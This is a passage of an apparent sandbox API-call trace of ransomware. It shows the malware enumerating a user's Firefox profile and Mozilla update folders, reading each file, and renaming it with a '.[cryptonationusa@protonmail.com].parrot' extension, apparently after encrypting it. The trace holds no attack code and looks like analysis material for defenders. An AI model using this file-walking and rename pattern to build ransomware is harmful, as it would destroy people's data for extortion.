FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83cc0a50, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x83cc0a50, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4cc87c1409819bf06f42b782d4902b2f.png", cAlternateFileName="4CC87C~1.PNG")) returned 1 [0088.291] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.291] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.292] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.292] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x40b0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x40b0, lpOverlapped=0x0) returned 1 [0088.295] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.295] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.303] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.304] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.304] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x40b0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x40b0, lpOverlapped=0x0) returned 1 [0088.307] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.307] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.312] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.312] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.313] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.313] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c362, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x1c362, lpOverlapped=0x0) returned 1 [0088.318] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.321] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.326] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.326] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1f51f60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1f51f60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.326] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83cc0a50, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x83cc0a50, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xc1f05ca0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x41d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4cc87c1409819bf06f42b782d4902b2f.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="4CC87C~1.PAR")) returned 1 [0088.326] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0088.326] CloseHandle (hObject=0x26c) returned 1 [0088.326] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853a9e10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 0 [0088.327] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.327] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.327] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1d16ac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1d16ac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0088.327] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1d62d80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1d62d80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfflineCache", cAlternateFileName="OFFLIN~1")) returned 1 [0088.327] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc1daf040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1daf040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="safebrowsing", cAlternateFileName="SAFEBR~2")) returned 1 [0088.327] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc1f05ca0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1f05ca0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache", cAlternateFileName="STARTU~1")) returned 1 [0088.327] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1f51f60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1f51f60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbnails", cAlternateFileName="THUMBN~1")) returned 1 [0088.327] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853a9e10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 1 [0088.328] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0088.328] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.329] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0088.330] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0 [0088.330] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0088.330] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.330] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0088.330] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0088.330] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0088.330] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.330] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.330] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.330] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.330] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E7CF176E110C211B", cAlternateFileName="E7CF17~1")) returned 1 [0088.330] lstrcmpW (lpString1="E7CF176E110C211B", lpString2=".") returned 1 [0088.331] lstrcmpW (lpString1="E7CF176E110C211B", lpString2="..") returned 1 [0088.331] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0088.333] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.333] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.333] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.333] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.333] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80a2b6d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-update.xml", cAlternateFileName="ACTIVE~1.XML")) returned 1 [0088.334] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.334] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0088.336] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.336] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x464, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x464, lpOverlapped=0x0) returned 1 [0088.336] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.336] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.338] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0088.339] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.339] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb74b7b30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb74b7b30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.340] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.340] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.340] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1 [0088.340] lstrcmpW (lpString1="0", lpString2=".") returned 1 [0088.340] lstrcmpW (lpString1="0", lpString2="..") returned 1 [0088.341] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0088.341] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.341] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x80a2b6d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80a2b6d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.342] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0088.342] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.342] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x818016b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x927c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="update.mar", cAlternateFileName="")) returned 1 [0088.342] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.342] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0088.344] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.344] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x927c0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x927c0, lpOverlapped=0x0) returned 1 [0088.374] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.394] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.mar"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 